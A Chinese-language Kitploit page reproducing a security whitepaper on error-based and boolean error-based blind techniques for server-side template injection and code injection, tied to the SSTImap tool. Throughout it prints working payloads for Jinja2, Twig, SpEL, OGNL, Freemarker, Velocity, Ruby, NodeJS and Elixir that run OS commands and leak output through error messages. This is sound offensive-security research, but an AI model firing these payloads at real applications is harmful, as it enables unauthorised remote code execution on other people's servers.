Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Research_Successful_Errors — Whitepaper introducing Error-Based and Boolean Error-Based Blind techniques for SSTI and Code Injection, with universal payloads for six programming languages and integration into SSTImap. | Kitploit
工具/GitHubGitHub/vladko312/research_successful_errors
漏洞分析代码分析Web应用程序漏洞利用模糊测试CTF渗透测试论文与研究学习与教育Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubvladko312/research_successful_errors

Research_Successful_Errors

Whitepaper introducing Error-Based and Boolean Error-Based Blind techniques for SSTI and Code Injection, with universal payloads for six programming languages and integration into SSTImap.

查看仓库
121135个月前Kitploit 审核通过

Successful Errors: 新的代码注入和 SSTI 技术

报告版本 最后修改

[!NOTE] 这是基于我在发布 SSTImap 1.3.1 版本之前所展示的结果撰写的白皮书第二版。 进一步的改进将在稍后的时间以该研究 1.2 版本的形式适应此格式。

  • Payloads
  • 可打印白皮书
  • 幻灯片

某些类别的漏洞乍一看可能非常著名且相当明显。似乎所有可能的技术都已为人所知,因此只有针对不常见情况的 payload 才可能被发现。 服务器端模板注入(SSTI)和代码注入通常被认为是这些众所周知的类别。

有时,对于这些漏洞会遇到新的、名称自解释的技术。许多研究人员可能也认为这些技术是众所周知的,甚至记得使用过它们, 但实际上,该技术可能仅作为一个普遍理解的名称存在,而没有相关研究、描述或通用 payload。 它可能在某些非常特定 case 的 payload 中被提及过几次, 但不会进行测试,并且该技术的真正潜力可能多年来一直未被发现。

本研究引入了两种针对代码注入和 SSTI 的技术:基于错误(Error-Based) 和 布尔错误型盲注(Boolean Error-Based Blind)。 我将为六种编程语言(Python、PHP、Java、Ruby、NodeJS 和 Elixir)提供代码注入和 SSTI 的 payload。 此外,我还将提供通用检测 payload,能够快速检测甚至盲注。

我将提供从发现早期线索到最终结论的完整研究时间线。 我还会探讨为本研究未提及的编程语言和模板创建新 payload 的过程。

在本研究中,我将展示新技术实际应用的示例,并分享进一步研究的潜在领域。 所有提供的 payload 均可用于检测和利用真实应用程序中的漏洞。 此外,所有提供的 payload 都已添加到开源工具 SSTImap 中,这使得将本研究结果应用于实际目标变得更加容易。

大纲

  • 引言
  • 线索
    • Dust.JS
    • Twig (CVE-2022-23614)
    • JSONPath Plus (CVE-2025-1302)
    • expr-eval (CVE-2025-13204)
  • 基于错误的 SSTI(Error-Based SSTI)
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • 通用检测
    • Payload 开发
  • 布尔错误型盲 SSTI(Boolean Error-Based Blind SSTI)
    • 错误检测
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • 通用检测
    • Payload 开发
  • 实际应用
    • expr-eval (CVE-2025-13204)
    • JSONPath Plus (CVE-2025-1302)
    • Twig (CVE-2022-23614)
    • Dust.JS
  • 结论
  • 参考

引言

当动态网站使用模板引擎进行服务器端渲染,且不可信的用户输入在模板被模板引擎处理之前插入到模板中时,就会出现服务器端模板注入漏洞。 恶意行为者可以插入有效的模板语法,该语法将在页面渲染期间被模板引擎处理。 许多模板引擎提供某种形式的代码执行功能,这通常会导致目标服务器上的远程代码执行(RCE)。 本研究重点关注在利用时提供此类功能的模板引擎。

SSTI 漏洞自 2015 年起就已被知晓,在此期间,发现了许多用于信息泄露、过滤器绕过和沙箱逃逸的 payload。 尽管如此,大多数 payload 要么直接渲染结果在页面上,要么关注代码执行本身的事实,忽略该代码产生的结果。

渲染型注入流程

另一种众所周知的 SSTI 技术是基于时间的盲注,它涉及向执行的 shell 命令添加延迟。 该技术允许确定注入代码执行的成功与否,但需要猜测 OS 命令执行的 payload, 这使得在未知模板引擎中检测盲 SSTI 更加困难。

基于时间的盲注入流程

SSTI 漏洞类别以及这两种已知的利用技术均由 James Kettle 于 2015 年发现。 这些技术在他的研究 “服务器端模板注入:面向现代 Web 应用的 RCE” [^1] 中有非常详细的描述。 在接下来的十年中,没有记录新的利用技术。 2023 年才发现一种检测技术,该技术使用多语言 payload 同时测试多个模板引擎。 该技术由 Maximilian Hildebrand 发现,并在他的研究 “改进大规模模板注入扫描中模板引擎的检测和识别” [^2] 中进行了描述。 该技术专注于使用最少的请求数量确定模板引擎,但仅适用于简单的注入上下文。

基于多语言检测流程

大多数基于解释型编程语言(如 PHP、NodeJS 和 Python)的模板引擎直接允许评估相应编程语言的表达式。 这种能力使我们能够通过将 payload 包装在正确的模板标签格式中,使用更广泛的代码注入漏洞类别的 payload。

代码注入也可能在没有 SSTI 的情况下发生,当不可信用户输入可以到达 eval() 或类似危险函数时。 通常认为代码注入的利用只是在相应语言中进行编程, 因此技术和 payload 仅针对特定的漏洞示例进行记录,这需要针对目标应用程序定制代码。

缺乏更通用的代码注入和 SSTI 检测技术导致黑盒扫描盲代码和模板注入效率低下。

在本研究中,将提供两种新技术用于代码注入和 SSTI,以及六种编程语言的 payload 和通用检测 payload。 所提供的技术将扩展盲 SSTI 利用的能力,以及允许在不猜测注入代码编程语言的情况下进行盲代码注入和 SSTI 扫描。

本研究提供的 payload 旨在用于实际渗透测试真实 Web 应用程序。 所有提供的 payload 也已整合到开源工具 SSTImap [^3] 的模块中,用于检测 SSTI 和代码注入。 对两种新技术以及相应 payload 的支持已在版本 1.3.0 中添加。 本研究中提供的用于新技术实际应用的较少通用、更具体的 payload 已合并到额外的 SSTImap 模块中,这些模块可以在“extra”模块的专用存储库中找到。[^4]

线索

在为 SSTImap 模块开发 payload 的过程中,我遇到了一些限制和发现,这些成为导致本研究中技术的线索。 我遇到了不同的 SSTI 和代码注入场景,在这些场景中,无法使用现有技术从注入代码中获取输出。 在遇到此类限制时,我测试了各种获得输出的想法,这最终导致发现了本研究中记录的两种新技术。

Dust.JS

第一个提示潜在限制的线索是在我为 Dust.JS 模板引擎更新 payload 时遇到的。 该引擎被认为是过时的,似乎已被遗弃,而代码执行仅在 2015 年旧版本的 dustjs-helpers 中才可能实现。 该引擎的 SSTImap 模块继承自 Tplmap [^5] 代码库,改进它是一个低优先级任务,但该模块在简单的无逻辑模板引擎情况下会导致大量误报。

Dust.JS if 块

为了解决这个问题,我改进了 payload,但模板引擎及其 payload 引起了我的注意。 代码注入可以在 if 块的条件内进行,该条件直接传递给 eval()。[^6] 结果不会显示在页面上,因此即使对于反射型 SSTI,也认为 RCE 总是盲的。

Dust.JS 关于 eval 的警告

在那个时候,研究一个过时的模板引擎来创建新 payload 在我的优先级列表中非常低,所以我决定不研究任何潜在获取输出的方法。

Twig(CVE-2022-23614)

我在为 Twig 模板引擎的新版本开发 payload 时遇到了第二个线索。 早期版本的 payload 已修复,所以我决定创建一个包含更新 payload 的新模块。 在寻找更现代的 Twig 利用方法时,我发现了 CVE-2022-23614,该漏洞允许使用现代版本的常见 payload 之一绕过沙箱。[^7]

对于新的 SSTImap 模块,我决定使用能够实现该沙箱绕过利用的 payload,因为它也适用于几乎所有可通过现代 payload 利用的 Twig 版本。

沙箱绕过可以通过将包含 PHP 函数名字符串作为参数传递给 |sort 过滤器来实现, 从而导致模板使用两个数组元素作为参数调用该函数。 与 Dust.JS 的情况类似,函数的输出在内部用作条件(这次是用于排序数组),因此它不会传回模板上下文。 这种限制不会阻碍利用,因为 PHP 中的 system() 函数直接将 OS 命令执行的结果输出到 Web 页面上,这允许我们绕过模板引擎获取输出。

我很好奇是否有可能在模板引擎内部获取输出,以便作为某些绕过或新 SSTI 利用技术的潜在应用。 但创建新的 Twig 模块并不需要这样做,所以我决定不投入任何时间开发用于在模板内获取注入结果的新 payload。

CVE-2022-23614 描述

JSONPath Plus(CVE-2025-1302)

Node.JS 模块 JSONPath Plus 版本 10.3.0 之前的 CVE-2025-1302 漏洞允许通过访问 jsonpath 扩展条件语法中的函数构造函数来注入任意 JavaScript 代码。[^8] 我决定为 CVE-2025-1302 创建一个新的额外 SSTImap 模块,用于在服务器端 jsonpath 注入的情况下的自动检测和利用。

CVE-2025-1302 PoC

与 Dust.JS 类似,代码注入只能在条件内进行,因此没有直接的方法获取输出并将其渲染到页面上。 尽管如此,我决定研究提取输出的可能性,这最终导致了我发现第三个线索,该线索暗示了可能最终导致本研究发现的潜力。

JSONPath Plus 模块用于访问 JSON 对象内的数据。 在许多解释型编程语言(如 JavaScript)中,这些对象通常隐式地作为指针运作,以限制资源消耗。 同时,JSONPath Plus 模块允许使用 @root 语法访问正在被搜索的对象。 我发现了一种方法,可以将该对象传递给条件内的注入代码,从而允许将输出保存在对象属性中,然后使用注入的 jsonpath 语法访问它们。

这种方法远非获取输出的通用方式,因为它严重限制了反射型代码注入场景中可用的注入上下文。 我研究了其他潜在的提取输出的方法,例如原型污染,但我无法发现更通用的技术。 尽管如此,这次我能够从条件中提取输出。

expr-eval(CVE-2025-13204)

与之前所有在 payload 开发期间遇到限制的情况不同,导致本研究的最后一个线索是在探索真实世界应用程序时发现的。 我当时正在测试一个用于 Discord 的无代码机器人构建器,该构建器允许用户自定义消息模板。 用于该目的的模板引擎本身并不评估任何代码,但它有一个专门用于评估数学表达式的标签。

通过检查该标签返回的不同错误消息,我确定这些表达式是使用名为 expr-eval 的 Node.JS 模块评估的。 该模块通过访问允许任意属性访问的对象构造函数来实现 RCE(CVE-2025-13204)。 我修改了 payload 以避免破坏模板标签的语法,但我只得到了 NaN,而不是代码执行结果。

Payload 返回 NaN

看起来 expr-eval 的结果被模板引擎转换为数字,这阻止了代码执行输出的反射。 然而,只有在评估成功的情况下,结果才会被转换为数字。 在发生错误的情况下,模板会用错误的完整文本替换标签,有时该文本包含我代码的一部分。

显示错误信息

我决定研究通过那些错误消息部分提取代码执行结果的可能性。 存在一种技术允许通过特定触发的错误消息提取 SQL 查询。[^9] 我假设对于代码注入和 SSTI 也存在类似的技术。

基于错误的 SQL 注入描述

我尝试搜索 “基于错误的 SSTI” 以及此类 SSTI 和代码注入技术的其他潜在名称, 然而我只能找到来自 2023 年单一研究论文的基于错误的多语言 payload,以及一种通过查看错误消息来确定模板引擎的技术。 唯一一个甚至与我寻找的相似的结果是研究者 Nicolas Verdier 创建的针对 Freemarker 模板的单个 payload。[^10]

Freemarker payload

该 payload 允许在盲注入情况下通过条件触发错误来确定代码执行的成功与否。 SQL 注入中存在类似的技术,这证实了我的假设,即类似的技术可能适用于代码注入和 SSTI。

我意识到我正在寻找的技术此前并未被记录,因此我决定进行这项研究,以开发所需的 payload。 此外,我决定将该技术添加到我的开源工具 SSTImap 中。

基于错误的 SSTI

我决定开发允许我们触发包含代码执行结果作为错误消息一部分的错误的 payload。 SQL 注入中已存在类似技术。 例如,SQL 中的 CONVERT(INT, …) 将字符串转换为数字。 如果字符串不表示有效数字,数据库将返回包含该字符串的错误文本。 如果该错误消息显示给用户,我们即使从盲注中也能获得输出。

类似的方法可用于 SSTI 和代码注入。 某些错误消息会反映用户提供的数据,这允许我们使用这些错误来获取注入代码的输出。

基于错误的注入流程

编程语言通常允许用户创建带有自定义错误消息的错误,但在漏洞利用期间通常无法直接使用该能力。 在大多数情况下,注入只允许表达式评估,这阻止了注入代码使用需要引发错误或创建新错误类的语言结构。 为了使我的 payload 更通用以获得更好的覆盖率,我决定专注于语言表达式上下文中的注入,其中只允许基本运算符、字面量和函数调用。

因此,对于使用这种技术的 SSTI 和代码注入利用,我必须找到反映用户提供数据的错误消息。 在大多数情况下,代码注入 payload 可以通过用模板标签包装来用于利用 SSTI。 作为本研究的一部分,我将涵盖五种编程语言(Python、PHP、Ruby、NodeJS 和 Elixir)的 payload,以及 SSTImap 支持的模板引擎(如果这些 payload 与相应编程语言的 payload 显著不同)的 payload。 此外,本文还将涵盖基于 Java 的模板引擎的 payload,以及通用检测 payload。

Python

在研究开始时,我决定为我日常工作中经常使用的 Python 编程语言寻找 payload。 最初,我尝试应用与 SQL 注入相同的原理,将字符串转换为整数。 在这种情况下,错误消息确实反映了用户提供的字符串,但我很快发现长字符串会被截断,因此只能反映前 199 个字符。

字符串被截断

我决定寻找其他允许反映任意长度用户提供字符串的错误消息。 使用 getattr() 函数访问不存在的属性会触发这样的错误。 结果,我得到了 getattr("", OUTPUT) 作为 payload,它反映字符串 OUTPUT 且没有任何长度限制。

可以提取长文件

该 payload 适用于所有测试过的基于 Python 的模板引擎,尽管 Jinja2 需要一些修改才能调用 Python 的 getattr() 函数:```python3 {{ cycler.init.globals.builtins.getattr("", OUTPUT) }}

root@kitploit:~
此外,对于Jinja2模板引擎,我发现了另一个触发 *TemplateNotFound* 错误的payload:`{% include OUTPUT %}`。  
这个payload已被添加到SSTImap的旧Jinja2模块中。

![Jinja2错误](https://assets.kitploit.com/production/public/readmes/10936/62b21955cb2095d8dffa831b8024a1f0b1d273e0a0749006a621c78996b51a5d.png)

### PHP
对于PHP代码注入的基于错误的利用,我发现了多种错误消息,它们对不同模板引擎具有不同的适用性。
例如,PHP允许将字符串作为函数调用,函数名称等于字符串内容。
如果这样的函数不存在,产生的错误消息将包含整个提供的字符串。
结果,我们得到一个简单的payload:`OUTPUT()`

该payload在大多数模板引擎中不起作用,所以我继续研究,并发现了尝试使用 `fopen()` 函数打开不存在的文件时触发的错误。
这个payload几乎在所有测试过的模板引擎中都有效:`fopen(OUTPUT, "r")`

此外,我发现了 `include()` 函数,它触发了类似的错误。
有效载荷 `include(OUTPUT)` 或类似的有效载荷可用于大多数提供模板继承功能的模板引擎中。

使用 `fopen()` 和 `include()` 的payload在某些情况下失败。
结果发现,这些函数会导致PHP **警告**,这些警告可能被渲染到我们无法访问的模板输出中。

我决定修改第一个payload,使用 `call_user_func()` 来将字符串作为函数调用,而不使用PHP特定的语法。
结果,我得到了payload:`call_user_func(OUTPUT)`,它触发一个**致命错误**,中断渲染并直接在页面上反映错误消息。

![PHP payload和错误](https://assets.kitploit.com/production/public/readmes/10936/3f539c6ae4bde73fb99c253e845686869b1eb12d0dc2f5c3c8d19af95c0d8893.png)

常用于RCE的 `system()` 函数将输出打印到页面,但只返回结果的第一行。
为了捕获完整输出,我决定使用 `shell_exec()`。
这个函数恰好接受一个参数,因此它适用于大多数模板引擎,包括旧版本的**Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}

对于较新的Twig版本,我使用了 |map 过滤器来保留输出,但它将数组索引作为第二个元素传递,这使得直接使用 shell_exec() 函数变得不可能。 为了绕过这个限制,我使用了 call_user_func() 函数来调用 shell_exec(),并使用字典而不是数组来控制索引值:```php {% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}

root@kitploit:~
为了在Twig中触发错误并获取执行结果,我们可以使用**致命错误**载荷,该载荷会调用不存在的函数:`{{ [0]|map(OUTPUT) }}` 或包含不存在的文件:`{% include(OUTPUT) %}`

![Twig error message](https://assets.kitploit.com/production/public/readmes/10936/2a7d471317458f90a23da3e811d93ed1c9e461bd637dee7f75eef1e4e87744ba.png)

### Java
Java没有提供通用的内置代码执行功能,因此Java没有通用的载荷。
相反,表达式语言,如**Spring表达式语言**(**SpEL**)。
对于该语言,可以使用将字符串转换为数字的简单技巧:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)

该 payload 也适用于其他类似的表达式语言。 要检查 SpEL 语法,我们可以使用 SpEL 特有的访问类的方式:T(java.lang.Integer).valueOf(OUTPUT)

要将操作系统命令执行的结果作为字符串获取,我们可以使用以下 payload:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

root@kitploit:~
![SpEL错误消息](https://assets.kitploit.com/production/public/readmes/10936/f162ff2fe1b9b1a081cb85d6c64102a74426d768f1a2601949b93ccb5103d118.png)

Java中另一种常用的表达式语言是**OGNL**。  
当用户提供的字符串被用于算术运算时,该语言会触发包含该字符串的错误:`OUTPUT/0`

RCE结果可通过以下载荷转换为字符串:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())

我还为 SSTImap 支持的两个基于 Java 的模板引擎创建了有效载荷。

例如,Freemarker 模板允许通过将 ?new() 过滤器应用于包含对应类名的字符串来限制对象构造。 如果这样的类不存在,错误消息将反映整个字符串。 这可用于创建一个简单的有效载荷:${ OUTPUT?new() }

Freemarker error message

Velocity 模板引擎支持使用 #include() 指令包含模板。 对于不存在的模板,错误消息将反映所提供的名称:#include(OUTPUT)

Velocity error message

Ruby

针对 Ruby 的有效载荷可用于代码注入和 SSTI,它利用访问不存在的文件时触发的错误,这在技术中很常见:File.read(OUTPUT)

Ruby payload and error message

NodeJS

对于 NodeJS 中基于错误的代码注入,可以通过使用 require() 函数包含不存在的模块来触发错误(如果在注入上下文中可访问):require(OUTPUT)

或者,JavaScript 通过访问 undefined 的属性来触发反射错误:""["x"][OUTPUT]

Elixir

Elixir 编程语言在将字符串用作列表索引(而不是 atom 对象)时,会在错误消息中反射该字符串:[1, 2][OUTPUT]

操作系统命令执行的结果可以通过 [1, 2][elem(System.shell(" … "), 0)] 进行反射

Elixir error message

Generic Detection

对于基于错误的 SSTI 和代码注入检测,我们需要一个能在任何编程语言中触发错误的有效载荷。 在这种情况下,可以通过典型的错误消息检测编程语言,或者至少找到指示错误存在的关键字(如果该编程语言尚未被支持)。

我创建此类有效载荷的第一个想法是使用除以零,但某些编程语言(如 JavaScript)不将此类有效载荷视为错误,而是简单地返回 NaN。 为了处理这些情况,我决定添加一个对未定义函数的调用:(1/0)+zxy()

新的有效载荷在 NodeJS 中触发了错误,但在某些基于 PHP 的模板引擎中触发了不同的语法错误,这使编程语言的检测变得复杂。 为了避免在模板解析期间过早检测到不存在的函数,我决定更新有效载荷,使用访问 undefined 属性触发的错误。 属性访问需要评估第一部分,而在 PHP 的字符串连接情况下,所有部分将在运行时从除以零开始进行评估。 因此,我创建了一个能够在通用注入情况下检测详细错误消息反射的有效载荷:(1/0).zxy.zxy

对于 SSTImap 模块,我为所有五种支持的编程语言添加了典型错误消息的检测,以及关键字搜索,以便在编程语言或模板引擎尚未支持时检测错误类型。

Groovy template injection detected in SSTImap with generic detection payload

Payload Development

在检测到详细错误反射并通过错误文本确定编程语言后,我们仍然需要找到反映用户提供值的错误消息,以创建基于错误的 RCE 有效载荷。 通常,此类错误可以在访问不存在的文件和模块时、在与特殊对象(如 null 或 undefined)进行异常交互时,以及在不存在的函数、类或属性的情况下触发。 相反,语法错误不提供任何数据泄露能力,因为它们在注入代码评估发生之前就中断了模板解析。

为了成功的自动化利用,您应确保长文本和多行文本不被截断。 此外,应防止结果等于不会触发错误的有效内容的情况。 对于这些情况,应添加一个使任何输出无效的前缀。 例如,目标网站极不可能有以 Y:/A:/ 开头的文件、类或属性。

Boolean Error-Based Blind SSTI

大多数现代 Web 服务器和应用程序禁用了详细错误输出,这阻止了基于错误的代码注入和 SSTI 的利用。 在这种情况下,无法获得错误消息的全文,但错误本身通常仍可被检测到。 这使我们能够通过检测条件触发的错误来确定盲注的成功。

Custom error page

实际上,不同的响应可能暴露盲注的结果。 例如,在基于布尔的盲 SQL 注入的情况下,像 AND SUBSTRING((…), 1, 1) = 's' 这样的有效载荷仅在目标值以字符 s 开头时返回结果。 该技术基于在未返回结果的情况下不同的应用程序行为。 这不适用于大多数代码注入和 SSTI 的情况。

Boolean-Based SQLi description

然而,存在一种类似的技术,称为基于错误的盲 SQL 注入,其中目标值用于仅在一种情况下有条件地触发错误,而不中断另一种情况:CASE WHEN 1=1 THEN 1 ELSE json('') END

Default error page

这种技术可以适用于代码注入和 SSTI。 此外,我之前已经遇到过这种技术的有效载荷。 那是 Nicolas Verdier 为 Freemarker 模板引擎创建的有效载荷,之前在本研究中提到过。[^10]

Freemarker payload

编程语言已经允许我们拥有确定要执行什么代码的条件。 这可以通过使用特殊的语言结构或运算符来实现。 然而,与基于错误的技术类似,我决定在更通用的代码注入有效载荷中避免语言结构,因为它们在许多注入上下文中不可访问。 我还决定避免使用三元条件运算符,因为许多模板引擎和使用自己解析器的其他注入上下文可能不支持这种复杂的运算符。 为避免误报,错误应在我们的注入未提供有效结果的情况下触发,因为可能无法区分故意由注入触发的错误与有效载荷可能引起的任何其他错误。

Error detection

为了自动化测试基于布尔的错误盲代码注入和 SSTI,我们需要一种检测服务器响应中错误的方法。 用户可以提供正则表达式来检测正常页面或错误页面,但我们也可以通过将响应码和长度、标头及其他参数与正常响应的相应参数进行比较来尝试检测错误。 无论我们选择什么方法,都需要使用两对相似的有效载荷。 每对有效载荷之间的最小差异将避免由 WAF 或代理错误引起的误报,而使用两对将减轻由随机外部问题引起的误报。

为了确定应用程序的正常响应,我决定使用数字有效载荷,以避免在大多数注入上下文中出现语法错误。 比较多个响应以确定应用程序响应的最稳定参数。 丢弃第一个请求,以避免应用程序在新 IP 地址首次连接期间可能执行的操作的任何干扰。

选择了多个参数用于请求比较:

  • HTTP 响应码
  • 响应时间
  • 响应编码
  • 响应长度(字节)
  • 响应长度(字符)
  • 响应中的单词数
  • 响应中的行数
  • 标头数
  • Cookie 数
  • 重定向数
  • 最终页面 URL
  • Content-Type 标头值
  • Server 标头值

如果参数对所有响应保持不变,或者对于数值从平均值波动在 5% 以内,则视为稳定。

Boolean-Based injection flow

Python

为了确定注入结果的真假,我们可以使用除以布尔值的方法。 真值会被转换为 1,不会触发错误,而计算结果为 False 的值会触发除以零错误。 我们可以使用此表达式作为我们的有效载荷:1 / ( OUTPUT )

可以使用以下两对有效载荷来检测注入:

  • 'a'.join('bc') == 'bac' and 'a'.join('bc') == 'abc'
  • bool('False') == True and bool('True') == False

可以通过使用 bool(eval( … )) 执行代码,而从 Python 3.6 开始,可以使用 os.popen( … )._proc.wait() == 0 检查操作系统命令执行。 在大多数基于 Python 的模板引擎中,这些有效载荷可以直接使用,而 Jinja2 不允许直接访问内置的 Python 函数。 因此,针对 Jinja2 的有效载荷稍微复杂一些:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

root@kitploit:~
![使用SSTImap的Jinja载荷测试](https://assets.kitploit.com/production/public/readmes/10936/9389ea206b96de22e9d5382a5e811f4277598355c20c0ed8825720b13620ddbe.png)

### PHP
PHP也允许使用类似 `1 / ( … )` 的载荷来确定注入是否成功。
为了检测注入,选择了以下两对载荷:

- `'2' + '3' == 5` 和 `'2' + '5' == 3`
- `strlen('2') == 1` 和 `strlen('1') == 2`

代码评估结果可通过 `true && eval( … )` 访问,操作系统命令执行的返回码可通过 `pclose(popen( … , "wb")) == 0` 检查。

这些载荷适用于所有测试过的模板引擎,除了 **Twig**。
旧版本的Twig模板引擎允许我们使用如下的载荷:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}} 

无法获取返回代码,因此在输出末尾添加一个已知字符串,以便模板引擎检查是否成功。 类似的方法适用于较新版本的Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

root@kitploit:~
![Twig error](https://assets.kitploit.com/production/public/readmes/10936/e9e89c81e51a6f2eb646621a50f7ea1b46fac661d4d87dbdfb793ee1c0c0c01c.png)

### Java
再次,由于缺乏通用的 Java 代码执行方式,我们需要为每个支持的模板引擎创建不同的载荷。

对于 **Spring Expression Language**,我使用了与之前相同的思路,但需要额外的类型转换修改:`1/(( … )?1:0)+""`

三元运算符用于将结果转换为 `0` 或 `1`,而空字符串的拼接则用于避免因返回类型不正确而导致的错误。

对于检测载荷,我将 `1` 替换为 `"".getClass().forName('java.lang.Integer').valueOf('1')`,这使我们能确认注入支持 **Java** 代码。
对于我的两对检测载荷,我使用了简单的整数加法,并在第二对中检查整数溢出。

操作系统命令执行通过比较 `waitFor()` 函数的返回码与零来进行检查:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0

这些有效载荷也适用于其他类似的表达式语言。 为了确保我们存在 SpEL 注入,我们可以用 SpEL 特定的有效载荷替换它们:T(java.lang.Integer).valueOf('1') 和 T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

SpEL error

针对 OGNL 表达式的有效载荷与 SpEL 有效载荷类似。 我使用了相同的整数加法有效载荷对以及相同的判定条件:1/((…)?1:0)+""

可以通过将 1 替换为 @java.lang.Integer@valueOf('1') 来确认 OGNL 语法。

与 SpEL 类似,你可以使用 waitFor() 获取操作系统命令的返回码:```java @java.lang.Runtime@getRuntime().exec("…").waitFor()==0

root@kitploit:~
同时也值得一提的是,**OGNL** 有一种不寻常的隐式类型转换方式。
除了操作顺序外,之前计算的值也会影响转换。
如负载 `1 * (123 + 456) + "abc" + 1 * (123 + 456)` 会得到预期结果 `"579abc579"`,而类似的负载 `(123 + 456) + "abc" + (123 + 456)` 则会开始将整数转换为字符串,返回 `"579abc123456"`。

![OGNL error](https://assets.kitploit.com/production/public/readmes/10936/829054aaeaae0f907897da75c55fa91efe0ae24ee029416675d3812e29a2bc8f.png)

**Freemarker** 的主要负载已由 Nicolas Verdier [^10] 创建:```java
${1/((…)?string('1','0')?eval)}

使用简单的载荷对进行检测,因为模板引擎已经通过主载荷的语法确认:

  • 1.0 == 1.0 和 1.0 == 0.1
  • 2 > 1 和 1 > 2

为了检查操作系统命令执行的结果,我决定使用之前用于Twig的技术:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")

root@kitploit:~
![Freemarker error](https://assets.kitploit.com/production/public/readmes/10936/7f9f4c5cbe3be9e222573b081dea6baccb809725ba890899f76741fe4b820f08.png)

对于Velocity模板引擎,我们可以使用`#if`和`#include`指令:

- `#if(false)#include("Y:/A:/true")#end` 和 `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` 和 `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`

为了检查操作系统命令执行,我们可以修改常规的有效载荷以进行渲染注入:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end

Velocity错误

Ruby

在Ruby中,没有直接的方法将整数转换为布尔值。这导致payload变得稍微复杂:1/(!!( ... )&&1||0)

这些payload对可用于确认Ruby注入:

  • (2 + 3).to_s == '5' 和 (2 + 5).to_s == '3'
  • '2'.length == 1 和 '1'.length == 2

代码评估结果可以使用!!eval( ... )进行检查,而执行的OS命令的成功与否可以使用system( … )进行检查,但后者不用于渲染注入,因为它不返回输出本身。

NodeJS

在NodeJS中,除以零不会产生错误,因此payload改为使用访问undefined或列表中存在元素的属性:[""][0 + !( … )]["length"]

这两个对用于确认NodeJS是被注入的语言:

  • typeof(1) + 2 == "number2" 和 typeof(2) + 1 == "number2"
  • parseInt("5x") == 5 和 parseInt("x5") == 5

代码评估可以直接使用eval()进行检查,而执行的OS命令的返回码可以在NodeJS 5.7及以上版本中使用以下payload进行检查:```node require('child_process').spawnSync( … , options={shell:true}).status===0

root@kitploit:~
### Elixir
**Elixir** 允许将除以零作为预言,但需要显式转换为整数。
因此,我们可以使用 payload: `1/(( … )&&1||0)`

我们可以使用以下 payload 对来检查 **Elixir** 语法:

- `String.length("2") == 1` 和 `String.length("1") == 2`
- `is_boolean(false) == true` 和 `is_boolean(true) == false`

检查 `eval()` 代码评估结果和比较操作系统命令返回码可以直接使用这些 payload:`elem(Code.eval_string( … ), 0)` 和 `elem(System.shell( … ), 1) == 0`

### Generic Detection
所有编程语言都有自己的函数名,因此不可能找到一个适用于通用检测的函数。
尽管如此,几乎所有语言在基本数学运算中使用完全相同的语法。
这使我们能够利用语法错误进行通用检测:

- `(3*4/2)` 和 `3*)2(/4`
- `((7*8)/(2*4))` 和 `7)(*)8)(2/(*4`

这种针对代码注入和 SSTI 的通用检测方法可以自动化,无需单独添加对所有编程语言和模板引擎的支持,从而扩展了使用黑盒方法快速检测代码注入和 SSTI 的可能性。

![SSTImap 使用通用检测 payload 检测到的 EEx 注入](https://assets.kitploit.com/production/public/readmes/10936/afb92860458978f4b8b74ec62dade318c4777f4833fa4896d3251476e41ffe46.png)

### Payload Development
在检测到盲注入后,为了创建 payload,我们可以检查常见的除以零错误或访问列表/字典中不存在的元素。
此外,对于已知的模板引擎,我们可以使用 `if` 语句有条件地触发任意错误。

对于自动化检测,可以使用独特的函数名、语法特性或隐式类型转换来创建 payload 对。

要将值转换为所需类型,我们可以使用特定的转换函数或使用该类型典型的操作(为数字加0,为字符串拼接空字符串,为布尔值使用逻辑与 `true` 等)。此外,可以使用双重否定将值转换为布尔值,然后使用三元运算符等条件转换为整数。

要检查操作系统命令执行的成败,我们可以将退出代码与零比较,或检查输出是否以我们提供的字符串结尾。

## Practical Application
本研究中开发的所有技术和 payload 都已添加到开源工具 SSTImap 中用于实际应用。
此外,我将这些技术应用到自己的任务中,这使得我在大多数情况下都能得到结果,这些结果成为了本研究的线索。

这些案例包括测试真实 Web 应用程序的示例,以及扩展已知漏洞利用能力的 payload。

### expr-eval (CVE-2025-13204)
将新技术应用于真实世界目标的第一个示例是 Discord 上一个流行的机器人构造器中的代码注入漏洞。
模板引擎中的一个标签允许使用名为 **expr-eval** 的脆弱 NodeJS 模块进行数学表达式求值,但结果被转换为整数,这最初阻止了我访问注入代码的结果。
我修改了已知 payload 以访问函数构造函数,同时不破坏用于触发脆弱功能的模板引擎的语法。
之后,我应用了基于错误的技术,并使用 `require()` 触发包含代码执行结果的错误:```node
